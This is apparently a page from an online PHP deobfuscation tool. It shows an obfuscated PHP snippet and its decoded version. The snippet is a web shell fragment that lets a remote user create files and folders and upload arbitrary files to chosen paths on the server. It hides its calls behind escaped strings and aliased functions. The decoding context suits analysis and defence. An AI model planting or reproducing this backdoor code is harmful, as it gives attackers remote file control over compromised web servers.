Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (strtoupper(substr(PHP_OS, 0, 3)) === "\x57\x49\116") { $server = "\127\111\x4e"..

Decoded Output download

<?php  if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { $server = "WIN"; } if (isset($_POST["create_file"])) { if (!isset($_GET["path"])) { $new_filehandler = $ngopen(dirname(__FILE__) . "/" . $_POST["new_file"], "w"); } else { $new_filehandler = $ngopen($hb($_GET["path"]) . "/" . $_POST["new_file"], "w"); } $ngwrite($new_filehandler, ''); $ngclose($new_filehandler); } if (isset($_POST["mkdir_folder"])) { if (!isset($_GET["path"])) { mkdir(dirname(__FILE__) . "/" . $_POST["new_folder"], 511, true); } else { mkdir($hb($_GET["path"]) . "/" . $_POST["new_folder"], 511, true); } } if (isset($_POST["upload_file"])) { if (isset($_GET["path"])) { $target_dir = $hb($_GET["path"]) . "/"; } else { $target_dir = dirname(__FILE__) . "/"; } $target_file = $target_dir . basename($_FILES["upload_filename"]["name"]); if ($mvfl($_FILES["upload_filename"]["tmp_name"], $target_file)) { $_GET["path"]; } if ($flz($target_file)) { echo "<center><table style="background: lime;"><tr><td style="color:#000;">Successfully Uploaded!</td></tr></table></center>"; } } ?>

Did this file decode correctly?

Original Code

<?php  if (strtoupper(substr(PHP_OS, 0, 3)) === "\x57\x49\116") { $server = "\127\111\x4e"; } if (isset($_POST["\143\162\x65\141\164\145\x5f\x66\151\154\145"])) { if (!isset($_GET["\160\141\164\150"])) { $new_filehandler = $ngopen(dirname(__FILE__) . "\57" . $_POST["\x6e\x65\167\137\x66\151\x6c\145"], "\x77"); } else { $new_filehandler = $ngopen($hb($_GET["\x70\x61\164\x68"]) . "\57" . $_POST["\x6e\145\x77\137\x66\151\154\145"], "\x77"); } $ngwrite($new_filehandler, ''); $ngclose($new_filehandler); } if (isset($_POST["\155\153\144\x69\x72\x5f\146\157\x6c\x64\145\162"])) { if (!isset($_GET["\160\141\x74\150"])) { mkdir(dirname(__FILE__) . "\57" . $_POST["\x6e\x65\x77\137\x66\x6f\154\x64\145\x72"], 511, true); } else { mkdir($hb($_GET["\160\x61\164\150"]) . "\x2f" . $_POST["\x6e\145\167\137\146\x6f\x6c\144\145\162"], 511, true); } } if (isset($_POST["\x75\x70\x6c\157\x61\144\137\146\151\x6c\145"])) { if (isset($_GET["\160\141\x74\150"])) { $target_dir = $hb($_GET["\x70\141\164\x68"]) . "\x2f"; } else { $target_dir = dirname(__FILE__) . "\57"; } $target_file = $target_dir . basename($_FILES["\x75\x70\x6c\x6f\141\x64\137\146\x69\154\145\x6e\x61\x6d\145"]["\156\x61\155\145"]); if ($mvfl($_FILES["\x75\160\154\157\x61\144\137\146\151\x6c\145\x6e\x61\x6d\145"]["\164\x6d\x70\137\x6e\x61\155\x65"], $target_file)) { $_GET["\x70\x61\164\x68"]; } if ($flz($target_file)) { echo "\74\143\x65\156\164\145\x72\76\x3c\x74\141\142\154\145\x20\x73\164\171\154\145\75\42\142\x61\x63\153\x67\162\157\x75\x6e\x64\x3a\x20\x6c\151\155\x65\x3b\42\x3e\74\x74\162\x3e\74\x74\x64\x20\163\164\x79\154\x65\75\x22\x63\x6f\154\157\x72\x3a\x23\x30\60\60\x3b\x22\76\x53\x75\143\143\145\163\x73\146\x75\x6c\154\x79\x20\125\x70\154\x6f\141\x64\145\x64\x21\74\57\x74\x64\76\x3c\x2f\164\x72\x3e\x3c\57\164\141\142\x6c\145\76\74\x2f\143\x65\156\164\145\162\x3e"; } } ?>

Function Calls

None

Variables

None

Stats

MD5 0cab9dd397ab6e67aba0546905d7b6b8
Eval Count 0
Decode Time 70 ms